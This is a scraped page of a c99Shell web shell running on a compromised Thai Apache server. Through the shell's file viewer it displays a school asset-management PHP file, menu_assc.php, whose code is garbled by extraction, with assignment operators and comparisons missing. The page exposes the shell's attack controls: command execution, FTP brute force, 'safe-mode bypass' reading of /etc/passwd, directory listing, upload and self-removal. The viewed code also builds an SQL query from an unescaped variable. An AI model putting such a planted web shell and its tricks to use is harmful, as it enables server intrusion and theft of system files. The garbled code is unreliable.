!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/manage_depart_bk/   drwxr-xr-x
Free 52.61 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu_assc.php (4.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM personal_tb  WHERE Username='$Username'";
$result mysql_query($sql) ;
$rs mysql_fetch_array($result);
$row mysql_num_rows($result);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.style18 {color: #003399; font-size: 14px; }
-->
</style>
<table width="832" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td width="790" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="../../../Application Data/SSH/temp/index.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> รายการข้อมูลครุภัณฑ์</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="">
    <p><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
    <table width="61%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" bgcolor="#FFFFFF" style="border:0px solid gray">
      
      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
        <td width="7%" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font></div></td>
        <td width="78%" bgcolor="#FFFFFF"><font face="Tahoma"><a href="BuildingList.php" class="d style18">ข้อมูลอาคารและสิ่งก่อสร้าง</a></font></td>
        <td width="15%" bgcolor="#FFFFFF"><div align="center"><font size="4" face="Tahoma">
            <?php 
                          
//$code = $rs["Teacher_code"];
                          
$sql3 "Select * From  building_tb  ";
                          
$result3 mysql_query($sql3) or die(" Error".mysql_error());
                          
$rt mysql_num_rows($result3);
                           if ( 
$rt == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$rt  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                              echo
"$rt <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
        </font></div></td>
      </tr>
      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font></div></td>
        <td bgcolor="#FFFFFF"><font face="Tahoma"><a href="RoomTypeList.php" class="style18">ข้อมูลห้องเรียน</a></font></td>
        <td bgcolor="#FFFFFF"><div align="center"><font size="4" face="Tahoma">
            <?php 
                         
// $code = $rs["Teacher_code"];
                           
$sql9 "Select * From room_tb ";
                          
$result9 mysql_query($sql9) or die(" Error".mysql_error());
                          
$r9 mysql_num_rows($result9);
                           if ( 
$r9 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r9  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r9  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
        </font></div></td>
      </tr>
      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font></div></td>
        <td bgcolor="#FFFFFF"><font face="Tahoma"><a href="AccByname.php" class="d style18">ข้อมูลครุภัณฑ์</a></font></td>
        <td bgcolor="#FFFFFF"><div align="center"><font size="4" face="Tahoma">
            <?php 
                         
                           $sql9 
"Select * From accessories_tb";
                          
$result9 mysql_query($sql9) or die(" Error".mysql_error());
                          
$r9 mysql_num_rows($result9);
                           if ( 
$r9 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r9  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r9  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
        </font></div></td>
      </tr>
    </table>
  </form>
          </fieldset>
          <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><br />
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--